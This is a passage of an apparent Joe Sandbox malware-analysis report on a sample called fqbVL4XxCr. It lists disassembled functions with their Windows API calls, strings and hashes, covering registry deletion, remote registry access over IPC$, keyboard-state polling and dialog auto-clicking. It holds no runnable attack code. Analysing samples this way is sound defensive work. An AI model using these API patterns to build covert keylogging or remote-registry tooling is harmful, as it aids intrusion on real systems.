                                                • Instruction ID: 4ec96cd4e871dd8a70fc2f4856fadd1698bbdd3cd3241669c9694995b79271a2
                                                • Opcode Fuzzy Hash: 86d6b1e091492908ef3ef846acada5b0f950e6f965457eb5f9bc92d7017e1c2c
                                                • Instruction Fuzzy Hash: A5810071509321AFDB22CF24E984AABBBE9FF88314F15091DF984D7291DB30D905CBA1
                                                Function 002FDC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 002FDC20
                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 002FDC46
                                                • _wcslen.LIBCMT ref: 002FDC50
                                                • _wcsstr.LIBVCRUNTIME ref: 002FDCA0
                                                • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 002FDCBC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                • API String ID: 1939486746-1459072770
                                                • Opcode ID: 3756bcfdc8a4af741a214c637918f7e88e2895a61b5c45924168830f5b096651
                                                • Instruction ID: fbd80deb4532615806a922e3edd22351fd2a8c03c8f64b9983c9348246cc1175
                                                • Opcode Fuzzy Hash: 3756bcfdc8a4af741a214c637918f7e88e2895a61b5c45924168830f5b096651
                                                • Instruction Fuzzy Hash: 134157329642057BEB15BB74DC43EFF77ACEF56790F100069FA00A6192EB7499218EA4
                                                Function 0031CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0031CC64
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0031CC8D
                                                • FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0031CD48
                                                  • Part of subcall function 0031CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0031CCAA
                                                  • Part of subcall function 0031CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0031CCBD
                                                  • Part of subcall function 0031CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0031CCCF
                                                  • Part of subcall function 0031CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0031CD05
                                                  • Part of subcall function 0031CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0031CD28
                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 0031CCF3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                • API String ID: 2734957052-4033151799
                                                • Opcode ID: 81c2beffa8c75d9b56dcd2f807ca573dca7e6c4fba7d18620ad1b6a92dd370ed
                                                • Instruction ID: 1cfa05a56706c6e25637e3dda158bac4bccc7886492fe08e8b85ebf2d0a4892e
                                                • Opcode Fuzzy Hash: 81c2beffa8c75d9b56dcd2f807ca573dca7e6c4fba7d18620ad1b6a92dd370ed
                                                • Instruction Fuzzy Hash: 16318E71951129BBDB368B50DC88EFFBB7CEF09740F011169E906E2250DA709E86DAE0
                                                Function 002FE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • timeGetTime.WINMM ref: 002FE6B4
                                                  • Part of subcall function 002AE551: timeGetTime.WINMM(?,?,002FE6D4), ref: 002AE555
                                                • Sleep.KERNEL32(0000000A), ref: 002FE6E1
                                                • EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 002FE705
                                                • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 002FE727
                                                • SetActiveWindow.USER32 ref: 002FE746
                                                • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 002FE754
                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 002FE773
                                                • Sleep.KERNEL32(000000FA), ref: 002FE77E
                                                • IsWindow.USER32 ref: 002FE78A
                                                • EndDialog.USER32(00000000), ref: 002FE79B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                • String ID: BUTTON
                                                • API String ID: 1194449130-3405671355
                                                • Opcode ID: 2b58c413b5b84533c9d990d55a618860d5f1fcfbda0bc1ffc0676baeca54c415
                                                • Instruction ID: 39ad79794bc19dc95ec5bee663197d000154f7d4ea976dbdb5660521be37126d
                                                • Opcode Fuzzy Hash: 2b58c413b5b84533c9d990d55a618860d5f1fcfbda0bc1ffc0676baeca54c415
                                                • Instruction Fuzzy Hash: 4F21C570220609AFEF135F25EC8DA3ABB6DF755788F165439F60281171DBF1AC218B20
                                                Function 002FE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 002FEA5D
                                                • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 002FEA73
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 002FEA84
                                                • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 002FEA96
                                                • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 002FEAA7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: SendString$_wcslen
                                                • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                • API String ID: 2420728520-1007645807
                                                • Opcode ID: 31b7adafe90fd408f19c03c249fa7eb3d7316a201ec6e37d004ff710979ae636
                                                • Instruction ID: 6534685abe62ccfaebcd492d63f7c023feb901907e24e28d27a14d510e433a1d
                                                • Opcode Fuzzy Hash: 31b7adafe90fd408f19c03c249fa7eb3d7316a201ec6e37d004ff710979ae636
                                                • Instruction Fuzzy Hash: 101194316A021D79EB21A765DC4ADFFAA7CEBD1F40F400429B801A30E0EB700959C9B0
                                                Function 002A8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002A8BE8,?,00000000,?,?,?,?,002A8BBA,00000000,?), ref: 002A8FC5
                                                • DestroyWindow.USER32(?), ref: 002A8C81
                                                • KillTimer.USER32(00000000,?,?,?,?,002A8BBA,00000000,?), ref: 002A8D1B
                                                • DestroyAcceleratorTable.USER32(00000000), ref: 002E6973
                                                • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,002A8BBA,00000000,?), ref: 002E69A1
                                                • ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,002A8BBA,00000000,?), ref: 002E69B8
                                                • ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,002A8BBA,00000000), ref: 002E69D4
                                                • DeleteObject.GDI32(00000000), ref: 002E69E6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                • String ID:
                                                • API String ID: 641708696-0
                                                • Opcode ID: 0a128e74adf87747af806c876a615584b966211198f7b00587dd8580d4f33988
                                                • Instruction ID: f72d7fbebf3edbcd38679cbf6edaaf9612f50582a27b3dbf2c1d0d9a8e4a3952
                                                • Opcode Fuzzy Hash: 0a128e74adf87747af806c876a615584b966211198f7b00587dd8580d4f33988
                                                • Instruction Fuzzy Hash: 8961BE31422641DFCB3A9F15D948B29BBF6FB51362F58852DE04297660CBB1ACA1CF90
                                                Function 002A9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9944: GetWindowLongW.USER32(?,000000EB), ref: 002A9952
                                                • GetSysColor.USER32(0000000F), ref: 002A9862
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ColorLongWindow
                                                • String ID:
                                                • API String ID: 259745315-0
                                                • Opcode ID: b05ca01a742add027a1ebf37ca07c6aaacbe1cca495a2e3e910956c681f8a745
                                                • Instruction ID: f10413d36742be5f0b37fa72670b74b282344f78cb498d08978e8489d213d4be
                                                • Opcode Fuzzy Hash: b05ca01a742add027a1ebf37ca07c6aaacbe1cca495a2e3e910956c681f8a745
                                                • Instruction Fuzzy Hash: E041F731120641AFDB315F3A9C84BB93BA9EB07730F544609F9B2871E1CB759CA2DB10
                                                Function 002C8D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: .+
                                                • API String ID: 0-85632910
                                                • Opcode ID: 034b5b5858b8eb4329142613810519cf0f408f4b1051c72d38223e524d2ab4a9
                                                • Instruction ID: cefede731d79dd90aff5624a7c240b03afa1c28efc27b683921cfb087786630e
                                                • Opcode Fuzzy Hash: 034b5b5858b8eb4329142613810519cf0f408f4b1051c72d38223e524d2ab4a9
                                                • Instruction Fuzzy Hash: 95C1E27592424AAFCB11DFA8CC45FEDBBB4AF09310F04825DF814AB292C77089A1CF61
                                                Function 002F96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,002DF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 002F9717
                                                • LoadStringW.USER32(00000000,?,002DF7F8,00000001), ref: 002F9720
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,002DF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 002F9742
                                                • LoadStringW.USER32(00000000,?,002DF7F8,00000001), ref: 002F9745
                                                • MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 002F9866
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString$Message_wcslen
                                                • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                • API String ID: 747408836-2268648507
                                                • Opcode ID: 4273d09f4042100a7352fa24aedaf15dd14b83c23c3397cdf6f8efa4622a8df1
                                                • Instruction ID: e1f6b37e1faec2186c80ad5432d6897926f3697f1b8a75d1c91a89e1c56317c8
                                                • Opcode Fuzzy Hash: 4273d09f4042100a7352fa24aedaf15dd14b83c23c3397cdf6f8efa4622a8df1
                                                • Instruction Fuzzy Hash: BF414E72810209AACF05EBE5DD46EFEB378AF15740F500069F60572092EB756FA8CFA1
                                                Function 002F06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 002F07A2
                                                • RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 002F07BE
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 002F07DA
                                                • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 002F0804
                                                • CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 002F082C
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 002F0837
                                                • RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 002F083C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
                                                • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                • API String ID: 323675364-22481851
                                                • Opcode ID: 37c858c596e11f36b93deb03a9048df7a53475aa030498d44996867bb1808c71
                                                • Instruction ID: 4e14685d137b3656072b99c64a8d0c625f8a9c4c611e39a643497400067e343c
                                                • Opcode Fuzzy Hash: 37c858c596e11f36b93deb03a9048df7a53475aa030498d44996867bb1808c71
                                                • Instruction Fuzzy Hash: C041E572C20229ABDF25EFA4DC95CEDB778BF14790F044169E911A3161EB70AE54CFA0
                                                Function 00313C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00313C5C
                                                • CoInitialize.OLE32(00000000), ref: 00313C8A
                                                • CoUninitialize.OLE32 ref: 00313C94
                                                • _wcslen.LIBCMT ref: 00313D2D
                                                • GetRunningObjectTable.OLE32(00000000,?), ref: 00313DB1
                                                • SetErrorMode.KERNEL32(00000001,00000029), ref: 00313ED5
                                                • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00313F0E
                                                • CoGetObject.OLE32(?,00000000,0032FB98,?), ref: 00313F2D
                                                • SetErrorMode.KERNEL32(00000000), ref: 00313F40
                                                • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00313FC4
                                                • VariantClear.OLEAUT32(?), ref: 00313FD8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
                                                • String ID:
                                                • API String ID: 429561992-0
                                                • Opcode ID: 4c7761b51ae713f24edf0c2ec8a245646f15f3fa8709d508d731a4fc06d08a1a
                                                • Instruction ID: da3ee7b8b9bcdefd5a6e2fb5137a0108bc169d183f6df1da8a4ddb81a0c0f13a
                                                • Opcode Fuzzy Hash: 4c7761b51ae713f24edf0c2ec8a245646f15f3fa8709d508d731a4fc06d08a1a
                                                • Instruction Fuzzy Hash: 49C167716083059FD705DF68C88496BBBE9FF89744F00492DF98A9B250D730EE86CB52
                                                Function 00307A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32(00000000), ref: 00307AF3
                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00307B8F
                                                • SHGetDesktopFolder.SHELL32(?), ref: 00307BA3
                                                • CoCreateInstance.OLE32(0032FD08,00000000,00000001,00356E6C,?), ref: 00307BEF
                                                • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00307C74
                                                • CoTaskMemFree.OLE32(?,?), ref: 00307CCC
                                                • SHBrowseForFolderW.SHELL32(?), ref: 00307D57
                                                • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00307D7A
                                                • CoTaskMemFree.OLE32(00000000), ref: 00307D81
                                                • CoTaskMemFree.OLE32(00000000), ref: 00307DD6
                                                • CoUninitialize.OLE32 ref: 00307DDC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
                                                • String ID:
                                                • API String ID: 2762341140-0
                                                • Opcode ID: f6f1ac58dc5796e45e5f49131ec05262a7c64e46a466fb7a8967fd039a7ba403
                                                • Instruction ID: 9eb031dadc790e12e5d9c79cd51baa15d14c3fd24333fbb6872022c61dbfd1c5
                                                • Opcode Fuzzy Hash: f6f1ac58dc5796e45e5f49131ec05262a7c64e46a466fb7a8967fd039a7ba403
                                                • Instruction Fuzzy Hash: 21C14A75A14109AFCB15DFA4C894DAEBBF9FF48304B158499E81ADB261D730EE42CF90
                                                Function 0032541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00325504
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00325515
                                                • CharNextW.USER32(00000158), ref: 00325544
                                                • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00325585
                                                • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0032559B
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003255AC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$CharNext
                                                • String ID:
                                                • API String ID: 1350042424-0
                                                • Opcode ID: a45e344c1242bc68d0079b07c14a214fbd25e7c5734aedc80200283ce33b2943
                                                • Instruction ID: a9aadf4736b3eb87e50dc190c9d15cbca036dbc97a93ce9815e64a651effefbe
                                                • Opcode Fuzzy Hash: a45e344c1242bc68d0079b07c14a214fbd25e7c5734aedc80200283ce33b2943
                                                • Instruction Fuzzy Hash: A761C130904628EFDF229F55EC849FEBBB9EF06721F148049F925A7290D7748B81DB60
                                                Function 002EFA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 002EFAAF
                                                • SafeArrayAllocData.OLEAUT32(?), ref: 002EFB08
                                                • VariantInit.OLEAUT32(?), ref: 002EFB1A
                                                • SafeArrayAccessData.OLEAUT32(?,?), ref: 002EFB3A
                                                • VariantCopy.OLEAUT32(?,?), ref: 002EFB8D
                                                • SafeArrayUnaccessData.OLEAUT32(?), ref: 002EFBA1
                                                • VariantClear.OLEAUT32(?), ref: 002EFBB6
                                                • SafeArrayDestroyData.OLEAUT32(?), ref: 002EFBC3
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 002EFBCC
                                                • VariantClear.OLEAUT32(?), ref: 002EFBDE
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 002EFBE9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                • String ID:
                                                • API String ID: 2706829360-0
                                                • Opcode ID: f172d619e157c8633932b6e72aad173a5126fa68e7940eb3708563a6dd817dbe
                                                • Instruction ID: 38365c6d4dd5adb3bb66ef928fea4d54058c788ad480be83d08f129c7872c7eb
                                                • Opcode Fuzzy Hash: f172d619e157c8633932b6e72aad173a5126fa68e7940eb3708563a6dd817dbe
                                                • Instruction Fuzzy Hash: FB418035A20219DFCF11EF65DC549EEBBB9FF08344F508069E806A7261DB30A956CFA0
                                                Function 002F9C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 002F9CA1
                                                • GetAsyncKeyState.USER32(000000A0), ref: 002F9D22
                                                • GetKeyState.USER32(000000A0), ref: 002F9D3D
                                                • GetAsyncKeyState.USER32(000000A1), ref: 002F9D57
                                                • GetKeyState.USER32(000000A1), ref: 002F9D6C
                                                • GetAsyncKeyState.USER32(00000011), ref: 002F9D84
                                                • GetKeyState.USER32(00000011), ref: 002F9D96
                                                • GetAsyncKeyState.USER32(00000012), ref: 002F9DAE
                                                • GetKeyState.USER32(00000012), ref: 002F9DC0
                                                • GetAsyncKeyState.USER32(0000005B), ref: 002F9DD8
                                                • GetKeyState.USER32(0000005B), ref: 002F9DEA
                                                Memory Dump Source
